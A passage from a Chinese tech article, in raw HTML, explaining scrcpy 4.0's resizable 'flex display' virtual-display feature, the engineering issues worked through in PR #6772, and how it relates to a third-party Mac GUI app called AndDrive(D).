--new-display --start-app=com.android.settings --flex-display</span><br/><span style="color: rgb(0, 128, 0);font-style: italic;"><span leaf=""># 配合h265和高码率,大窗口下保持画质</span></span><br/><span leaf="">scrcpy --new-display -x --video-codec=h265 -b16M</span></code></pre><p data-line="57" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">也就是说，推主那一套设备管理面板加应用列表的GUI壳子，如果只看核心能力，scrcpy 4.0用一行命令就能搞出大致一样的效果。这才是这次故事真正的痛点，不是scrcpy出了竞品，是scrcpy把这件事的核心能力以官方姿态一次性给齐了。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100001560" data-ratio="0.7171189979123174" data-s="300,640" type="block" data-type="gif" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=08e0c242&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FSq4BUsrXeT9fABdzofCxD45ibicu30lRUuSsohIlR4ic1YjscwicCSEic2JpocfM7w9ayiaicT3icm4T7MNt8yGlRzo4ibyx1mVSLdBibMECaSibrEcRj4%2F640%3Fwx_fmt%3Dgif%26from%3Dappmsg"/></p><h2 data-line="59" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">flex display核心能力</span></h2><p data-line="61" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">flex display在用户视角上的表现，可以拆成几个要点。</span></p><p data-line="63" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一，每个flex display都是一个虚拟display，不是手机主屏的镜像。也就是说，给它装哪个app、装多大、按多少dpi渲染，完全和真机的物理屏幕脱钩，这本身就是窗口化所需要的前提。</span></p><p data-line="65" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二，尺寸可以随客户端窗口动态变化，而不是开始时锁死。这是它和过去</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--new-display</span></code><span leaf="">的最大区别。过去也能在投屏链路里再开一个虚拟display，但开多大就只能多大，要变只能关掉重开。</span></p><p data-line="67" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三，可以指定初始尺寸和dpi。如果不指定，默认是1280x960、dpi 160。这两个值不是从主机屏幕推导出来的，而是写死的合理默认，理由很简单，做成自适应主机屏幕需要更多代码，并且会延后第一帧的时间，得不偿失。</span></p><p data-line="69" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第四，渲染策略和普通投屏不一样。普通投屏会把帧居中按比例铺满窗口，flex display下默认是1:1渲染到窗口左上角。这是为了让&#34;客户端窗口大小&#34;和&#34;虚拟display大小&#34;在视觉上严格对齐，而不是用缩放遮掩两者的不一致。</span></p><p data-line="71" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第五，会和</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--keep-active</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--video-codec=h265</span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">-bN</span></code><span leaf="">这一类参数配合得很好。要让窗口长时间不锁屏，要让大窗口下保持画质，都有现成的开关。</span></p><p data-line="73" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这几条加起来就足以说明，flex display并不是一个临时拍脑袋加的小功能，它是scrcpy这一代版本里被刻意构造出来的&#34;窗口化投屏&#34;基础能力。</span></p><h2 data-line="75" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">PR 6772的实现关键</span></h2><p data-line="77" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">scrcpy这次的flex display并不是一次性写完的，对应的PR是</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-5biotz" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6772</a></span></code><span leaf="">，从</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">flex-display.1</span></code><span leaf="">一路改到</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">flex-display.18</span></code><span leaf="">，反复打磨了十八轮。看完PR描述就会明白，这个功能远比&#34;加个resize调用&#34;复杂得多。</span></p><p data-line="79" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">最核心的能力，就是Android系统里这一个方法：</span></p><pre style="margin-top: 0px;background-color: rgba(220, 220, 220, 0.4);border-color: rgb(0, 0, 0);border-style: none;border-width: 0px;border-image: none 100% / 1 / 0 stretch;padding: 16px;border-radius: 3px;overflow: auto;white-space: pre-wrap;color: rgb(0, 0, 0);font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code data-line="81" dir="auto" style=" font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(0, 0, 0);background: none;padding: 0px;border-radius: 4px;font-size: 1em;line-height: 1.357em;display: inline-block;tab-size: 4;  "><span leaf="">android.hardware.display.VirtualDisplay.resize(int, int, int)</span></code></pre><p data-line="85" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">这是个看起来再简单不过的接口，传宽、高、dpi三个参数就能改变虚拟display的尺寸。但要让它在投屏链路里稳定工作，需要解决一连串异步问题。</span></p><p data-line="87" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第一个问题是resize请求的合并。客户端在拖拽窗口的过程中会触发大量resize事件，如果每一次都老老实实发到设备，Android侧会内部把这些请求积压起来，最后渲染卡顿。scrcpy的做法是，客户端只保留最新一次值往下发，服务端也只在最终目标尺寸或旋转方向与当前不一致时，才重置capture和encoding会话。</span></p><p data-line="89" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第二个问题是resize事件的归因。一个虚拟display的尺寸可以因为两种原因变化，一种是客户端拖窗口主动让它变，一种是Android自己变，比如</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">Alt+r</span></code><span leaf="">触发的旋转。两者在服务端</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DeviceMonitor</span></code><span leaf="">看来都是同一个display change事件，但只有后者需要重置capture/encoding。PR的解法是引入</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">DisplayPropertiesTracker</span></code><span leaf="">，把&#34;客户端触发&#34;和&#34;系统自发&#34;两种事件区分开，并通过</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-b46zge" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6159</a></span></code><span leaf="">里加入的session元数据走线下发到客户端，告诉客户端这一帧的尺寸变化是不是它自己请求的结果。</span></p><p data-line="91" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第三个问题是闭环抖动。客户端发resize请求，设备异步给出新尺寸的帧，客户端再用这个帧反过来调整窗口，这条链路如果不加抑制，会陷入&#34;客户端微调窗口，设备给新帧，新帧又触发客户端微调&#34;的循环。这就是为什么客户端必须知道某一帧的尺寸变化是不是它自己引起的，是则不再调整窗口，不是才需要自适应。</span></p><p data-line="93" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第四个问题是渲染策略。在resize请求到帧实际变化之间存在一段无法消除的异步窗口，scrcpy引入了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--render-fit</span></code><span leaf="">选项，flex模式下把帧以1:1的方式渲染到窗口左上角。这段异步窗口里，客户端会临时看到黑边或者裁剪，这是物理上的延迟，只能尽量缩短。</span></p><p data-line="95" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">第五个问题是resize过程中的画面glitch。PR描述里直接承认了这一点，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">virtualDisplay.resize()</span></code><span leaf="">、虚拟display实际resize完成、系统派发display change事件、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">virtualDisplay.setSurface()</span></code><span leaf="">这四件事跨多个Android进程，根本无法原子化。在resize瞬间，系统可能用旧尺寸往新surface上画，也可能用新尺寸往旧surface上画，这就是所谓&#34;resize撕裂&#34;的来源。</span></p><p data-line="97" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">为了让这些细节稳得住，PR还把另外几个准备工作的小PR一起做了，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-ior4t7" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6746</a></span></code><span leaf="">引入了</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf="">--min-size-alignment</span></code><span leaf="">，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-cyrkgd" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6758</a></span></code><span leaf="">处理encoder尺寸约束，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-gnyrwu" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6766</a></span></code><span leaf="">遵守视频capability上限，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-n3k8su" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6770</a></span></code><span leaf="">修了方形display的旋转问题，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-gf70tn" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6771</a></span></code><span leaf="">对齐虚拟display尺寸。这一串铺垫加上十八轮主PR迭代，才把flex display做到能进4.0正式版的程度。</span></p><h2 data-line="99" dir="auto" style=" margin-top: 24px;font-weight: 600;margin-bottom: 16px;line-height: 1.25;font-size: 1.5em;padding-bottom: 0.3em;border-bottom: 1px solid rgba(0, 0, 0, 0.18);border-top-color: rgba(0, 0, 0, 0.18);border-right-color: rgba(0, 0, 0, 0.18);border-left-color: rgba(0, 0, 0, 0.18); color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">同人和官方的位置</span></h2><p data-line="101" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">回到开头那个故事。AndDrive(D)和scrcpy的flex display在能力上确实重叠很多，但定位还是有差别的。</span></p><p data-line="103" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">scrcpy一直走的是命令行风格，功能强大，选项多到一个屏幕装不下，对普通用户来说门槛并不低。AndDrive(D)从截图看是一个标准的Mac GUI应用，有设备列表、应用列表、一键开关融合模式，这一套交互恰好是scrcpy多年都没有补上的短板。如果AndDrive(D)继续打磨，它完全有机会以&#34;scrcpy GUI壳&#34;的姿态在桌面端站住脚。这一类壳子在GitHub上已经有过很多前辈，有的甚至比scrcpy本体还火。</span></p><p data-line="105" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">但前提是要先承认一个事实，在投屏这条路上，scrcpy就是事实标准。任何同类项目要么基于它，要么至少在技术细节上参考它。这次&#34;官方杀同人&#34;看起来戏剧，实际上是因为flex display这种功能本来就不是一个新点子。scrcpy的issue里相关讨论可以追溯到很久之前，</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-qrsaej" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6350</a></span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-04fynf" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6351</a></span></code><span leaf="">、</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-b16855" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6705</a></span></code><span leaf="">都是被这次PR取代的旧分支，最后由</span><code style="font-family: Menlo, Monaco, &#34;Courier New&#34;, monospace;color: rgb(163, 21, 21);background-color: rgba(0, 0, 0, 0.1);padding: 1px 3px;border-radius: 4px;font-size: 1em;line-height: 1.357em;"><span leaf=""><a class="wx_topic_link" topic-id="mp3qqckd-p69dq2" style="color: #576B95 !important;" data-topic="1" data-recommend="">#6772</a></span></code><span leaf="">一锤定音。从某种角度看，这反而说明这条路上的所有人都在朝同一个方向走。</span></p><p data-line="107" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe WPC&#34;, &#34;Segoe UI&#34;, system-ui, Ubuntu, &#34;Droid Sans&#34;, sans-serif;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial; "><span leaf="">至于推主自己那句&#34;做了东西先过审再发帖&#34;，倒是适用于任何一个开源生态的参与者。你不发，可能官方半年都不一定挪窝。你一发，官方也许第二天就把版本号往上跳一位。这两种风险都真实存在，只不过这次正好撞上了后一种。</span></p><p data-line="109" dir="auto" style=" margin-top: 0px;margin-bottom: 16px; color: rgb(0, 0, 0);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe 